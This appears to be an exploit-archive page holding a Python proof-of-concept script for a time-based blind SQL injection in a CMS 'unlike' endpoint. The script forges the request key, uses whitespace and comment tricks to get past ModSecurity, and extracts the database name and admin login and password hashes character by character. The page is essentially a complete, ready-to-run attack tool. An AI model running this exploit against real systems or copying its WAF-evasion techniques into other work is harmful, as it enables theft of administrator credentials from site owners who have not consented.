4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
from argparse import ArgumentParser
from multiprocessing import Pool
import requests
import hashlib

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
}  # bypass ModSecurity
CHARS = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_"
url = ""
sleep = 30


def _params(payload):
    params = {
        "action": "unlike",
        "id": "t1\x09and\x09sleep(15)",
        "timestamp": "10000000000000000",
    }
    params["id"] = payload
    params["key"] = md5(params)
    return params


def _payload(condition):
    payload = "t1\x09and\x09if({0},sleep({1}),1)".format(condition, sleep)
    return payload


def request(payload):
    params = _params(payload)
    try:
        r = requests.get(url, headers=headers, params=params)
        time = r.elapsed.total_seconds()
    except:
        time = 0
    return time


def md5(params):
    m = hashlib.md5()
    key = params["id"] + "10000000000000000" + "unlike"
    key = key.encode("utf-8")
    m.update(key)
    key = m.hexdigest()
    return key


def length_arg(query, length):
    arg = (length, "length({0})={1}".format(query, length))
    return arg


def length_args(query):
    args = [length_arg(query, length) for length in range(1, 100)]
    return args


def char_arg(query, index, char):
    arg = (char, "ascii(substr({0},{1},1))={2}".format(query, index, ord(char)))
    return arg


def char_args(query, index, chars):
    args = [char_arg(query, index, char) for char in chars]
    return args


def find_len(args):
    result = 0
    length, condition = args
    payload = _payload(condition)
    time = request(payload)
    if time > sleep:
        result = length
    return result


def find_char(args):
    char, condition = args
    result = ""
    payload = _payload(condition)
    time = request(payload)
    if time > sleep:
        result = char
    return result


def find_length(query):
    length = 0
    args = length_args(query)
    pool = Pool()
    for length in pool.imap(find_len, args):
        if length:
            arg = length_arg(query, length)
            length = find_len(arg)
            if length:
                break
    return length


def find_value(query, length):
    value = ""
    pool = Pool()
    for index in range(1, length + 1):
        args = char_args(query, index, CHARS)
        for char in pool.imap_unordered(find_char, args):
            if char:
                arg = char_arg(query, index, char)
                char = find_char(arg)
                if char:
                    value += char
                    break
    return value


def test():
    payload = "t1\x09and\x09sleep({})".format(sleep)
    time = request(payload)
    if time > sleep:
        print(">---- Injected successfully")
    else:
        print(">---- Injected unsuccessfully")


def main():
    parser = ArgumentParser()
    parser.add_argument("url", help="URL (e.q. http://localhost/js/scms.php)")
    parser.add_argument(
        "-s", dest="sleep", default=30, type=int, help="Sleep time (default 30s)"
    )
    parser.add_argument(
        "--test",
        dest="test",
        action="store_const",
        const=True,
        default=False,
        help="test for injection",
    )
    parser.add_argument(
        "--db",
        dest="db",
        action="store_const",
        const=True,
        default=False,
        help="retrieve database",
    )
    parser.add_argument(
        "--login",
        dest="login",
        action="store_const",
        const=True,
        default=False,
        help="retrieve A_login",
    )
    parser.add_argument(
        "--pwd",
        dest="pwd",
        action="store_const",
        const=True,
        default=False,
        help="retrieve A_pwd",
    )
    args = parser.parse_args()

    global url, sleep
    url = args.url
    sleep = args.sleep

    queries = []
    if args.test:
        test()
        exit()
    if args.db:
        query = "database()"
        column = "database()"
        queries.append((query, column))
    if args.login:
        query = "(select\x09A_login#bypass\x0afrom\x09SL_admin)"  # bypass ModSecurity
        column = "A_login"
        queries.append((query, column))
    if args.pwd:
        query = "(select\x09A_pwd#bypass\x0afrom\x09SL_admin)"  # bypass ModSecurity
        column = "A_pwd"
        queries.append((query, column))

    if not len(queries):
        parser.print_help()
        exit()

    print("Start to inject")
    for query, column in queries:
        length = find_length(query)
        print(">---- {} length:".format(column), length)
        value = find_value(query, length)
        print(">---- {} value:".format(column), value)


if __name__ == "__main__":
    main()